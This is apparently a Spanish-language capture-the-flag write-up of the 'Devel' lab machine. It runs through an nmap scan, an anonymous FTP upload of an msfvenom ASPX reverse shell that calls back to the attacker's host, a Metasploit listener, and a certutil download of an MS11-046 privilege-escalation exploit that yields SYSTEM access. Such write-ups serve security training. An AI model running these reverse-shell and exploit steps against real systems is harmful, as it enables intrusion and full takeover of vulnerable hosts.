Devel WriteUp

Iniciamos con un escaneo de puertos:
$nmap -sV -Pn -sC --script vuln -v 10.129.20.174
Si verificamos el puerto 80, notaremos que el servidor esta utilizando el servidor web de Microsoft IIS en su version 7.5
Probamos conectarnos por ftp como usuario anonimo y obtenemos conexion:
$ ftp anonymous@10.129.20.174
Si revisamos los archivos del ftp, veremos que entre ellos se encuentran:
- welcome.png -> Imagen de bienvenida
- iistart.htm -> Archivo de sitio predeterminado de Microsft IIS
- aspnet_client -> Carpeta de recursos
Si revisamos el servidor web, notaremos que si entramos a /welcome.png podremos ver la imagen de bienvenida que encontramos previamente en el ftp
http://10.29.20.174/welcome.png
Por lo tanto, analizando el escenario actual, un posible vector de entrada, seria subir una shell mediante el FTP y ejecutarla con el fin de obtener una conexion inversa.
Para ello, primero probaremos creando un archivo dummy para intentar subirlo al servidor ftp, primero creamos un simple txt con:
$ echo "0xNano" > pwned.txt
Y lo subimos al servidor ftp con el comando put:
put pwned.txt
Si revisamos la terminal en la que tenemos la conexion ftp, y lanzamos el comando dir veremos que el archivo se ha subido con exito
Comprobamos que el archivo se pueda leer desde el servidor web entrando a:
Como pudimos subir el archivo txt con exito, ahora procederemos a subir una revshell, para ello, primero debemos crearla con msfvenom:
$ msfvenom -p windows/shell/reverse_tcp LHOST=10.10.14.80 LPORT=4444 -f aspx > shell.aspx
Una vez creada nuestra revshell, la subimos al ftp con el comando
put shell.aspx
Iniciamos la consola de metasploit con msfconsole -q y la configuramos para que reciba la conexion:
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.14.80
set LPORT 4444
Iniciamos el listener de metasploit con el comando run para que se ponga a la escucha en nuestra maquina en el puerto que le asignamos previamente
Ejecutamos la shell accediendo a:
http://10.29.20.174/shell.aspx
Y recibimos la conexion en nuestra consola de metasploit, si comprobamos con el comando getuid veremos que tenemos acceso como el usuario IIS APPPOOL\Web y si consultamos la informacion del sistema con sysinfo veremos que se trata de una maquina Windows 7 6.1 con arquitectura x86
Como pudimos observar, no tenemos permisos de administrador y el uso con ese usuario es muy limitado, por lo que debemos escalar privilegios, para ello, pondremos la session en segundo plano con el comando background y buscamos en la consola de metasploit el exploit suggester con:
search exploit suggester
Configuramos el exploit suggester para que corra en la sesion 1 con:
set SESSION 1
Y lo ejecutamos con el comando run
Al terminar de ejecutarse el exploit suggester, nos recomendara varios exploits para escalar privilegios
Tras probar con algunos exploits y no tener exito debido a problemas de metasploit, decidi buscar de forma manual
Tras buscar en Google vulnerabilidades que permitan escalada de privilegios en Windows 7 6.1 encontre varios resultados
Microsoft Windows (x86) - 'afd.sys' Local Privilege Escalation (MS11-046):
https://www.exploit-db.com/exploits/40564
CVE-2011-1249 es una vulnerabilidad de elevación de privilegios en el controlador AFD (Ancillary Function Driver), responsable de manejar las comunicaciones Winsock TCP/IP en Windows (archivo afd.sys). El fallo ocurre porque el controlador no valida correctamente los datos enviados desde el modo usuario al kernel, lo que permite a un atacante con credenciales válidas y acceso local ejecutar código arbitrario con privilegios de sistema (NT AUTHORITY\SYSTEM).
Tras buscar una prueba de concepto (PoC), encontre la siguiente en GitHub:
https://github.com/mishmashclone/SecWiki-windows-kernel-exploits/blob/master/MS11-046/ms11-046.exe
Descargamos el exploit de GitHub en nuestra maquina, iniciamos un servidor http con python donde este ubicado el exploit, y lo subimos a la maquina victima con el comando:
certutil -urlcache -split -f http://10.10.14.80/ms11-046.exe
Tras ejecutarlo, notaremos que si ejecutamos el comando whoami somos nt authority\system
Obtenemos la flag de user y root
📌 Sígueme / Portfolio
🌐 Web: https://0xnano.com
🐦 X: https://x.com/0xN4no
🐙 GitHub: https://github.com/0xN4no
🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.



